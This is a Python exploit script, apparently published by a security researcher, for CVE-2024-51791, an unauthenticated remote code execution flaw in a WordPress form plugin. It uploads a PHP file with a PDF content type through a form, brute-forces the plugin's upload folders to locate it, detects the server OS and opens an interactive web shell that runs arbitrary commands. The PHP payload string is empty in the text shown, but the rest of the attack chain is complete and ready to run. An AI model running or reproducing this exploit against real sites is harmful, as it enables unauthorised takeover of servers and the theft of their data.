import requests import argparse import time # Configuración de argparse parser = argparse.ArgumentParser(description="Script to upload a PHP file, detect OS, and interact with a shell.") parser.add_argument( "--target", type=str, required=True, help="The URL of the target form (e.g., http://localhost/wordpress_lab/form-1/)." ) parser.add_argument( "--form-id", type=int, required=True, help="The value of the form_id field (e.g., 375)." ) args = parser.parse_args() # Banner ASCII def banner(): banner = r""" _______ ________ ___ ____ ___ __ __ __________________ ___ / ____/ | / / ____/ |__ \ / __ \__ \/ // / / ____< /__ / __ < / / / | | / / __/________/ // / / /_/ / // /_______/___ \ / / / / /_/ / / / /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/___/ // / / /\__, / / \____/ |___/_____/ /____/\____/____/ /_/ /_____//_/ /_//____/_/ 0-click RCE (Unauthenticated / Pre-auth) Exploit for CVE-2024-51791 coded by @JoshuaProvoste (jp / kw0) """ print(banner) banner() # Mostrar mensajes formateados def print_message(message, icon): print(f"{icon} {message}") # Configurar headers y payload para la solicitud POST base_url = args.target.rstrip("/form-1/") form_id = args.form_id headers = { "Host": requests.utils.urlparse(base_url).netloc, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Origin": base_url, "DNT": "1", "Sec-GPC": "1", "Connection": "keep-alive", "Referer": f"{base_url}/form-1/", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1", "Priority": "u=0, i", } php_payload = """""" files = { "field-1": ("cmd.php", php_payload, "application/pdf"), } data = { "form_id": form_id, } # Subir el archivo PHP print_message("Uploading the payload to the target...", "\n[+]") response = requests.post(args.target, headers=headers, files=files, data=data) if response.status_code != 200: print_message(f"File upload request failed with status code {response.status_code}.", "[-]") exit() print_message("File upload request successful!", "[+]") # Enumerar directorios para identificar la última carpeta válida print_message("Starting directory bruteforcing...", "[+]") counter = form_id max_consecutive_404 = 5 consecutive_404 = 0 last_valid_directory = None while True: current_url = f"{base_url}/wp-content/uploads/madeit-forms/{form_id}/{counter}/" print_message(f"Checking directory: {current_url}", "[+]") response = requests.get(current_url) if response.status_code == 200: last_valid_directory = current_url consecutive_404 = 0 else: consecutive_404 += 1 if consecutive_404 >= max_consecutive_404 and last_valid_directory: break counter += 1 if not last_valid_directory: print_message("No valid directories detected.", "[-]") exit() print_message(f"Payload folder detected: {last_valid_directory}", "\n[+]") # Obtener el archivo cargado desde la última carpeta válida response = requests.get(last_valid_directory) if response.status_code != 200: print_message("Failed to retrieve contents of the last folder.", "[-]") exit() import re match = re.search(r'href="([^"]+\.php)"', response.text) if not match: print_message("No valid PHP file found in the folder.", "[-]") exit() uploaded_file_name = match.group(1) uploaded_file_url = f"{last_valid_directory}{uploaded_file_name}" print_message(f"File uploaded successfully: {uploaded_file_url}", "[+]") # Detectar el sistema operativo print_message("Detecting operating system from the target...", "\n[+]") try: os_response = requests.get(uploaded_file_url).text.strip().lower() if "windows" in os_response: print_message("Detected OS: Windows.", "[+]") elif "linux" in os_response: print_message("Detected OS: Linux.", "[+]") else: print_message("Failed to detect OS. Unexpected response.", "[-]") except requests.exceptions.RequestException as e: print_message(f"Failed to detect OS: {e}", "[-]") exit() # Iniciar shell interactiva print_message("Entering interactive shell mode...\n", "[+]") print("Type 'exit' or 'Ctrl+C' to leave.\n") try: while True: command = input("shell> ") if command.lower() == "exit": print_message("Exiting interactive shell.", "[+]") break try: response = requests.get(uploaded_file_url, params={"cmd": command}) if response.status_code == 200: output = response.text.strip() if output: print(output) else: print_message("Command executed, but no output was returned.", "[+]") else: print_message(f"Command execution failed. HTTP Status: {response.status_code}", "[-]") except requests.RequestException as e: print_message(f"Error during command execution: {e}", "[-]") except KeyboardInterrupt: print("\nKeyboard interrupt detected. Exiting interactive shell.")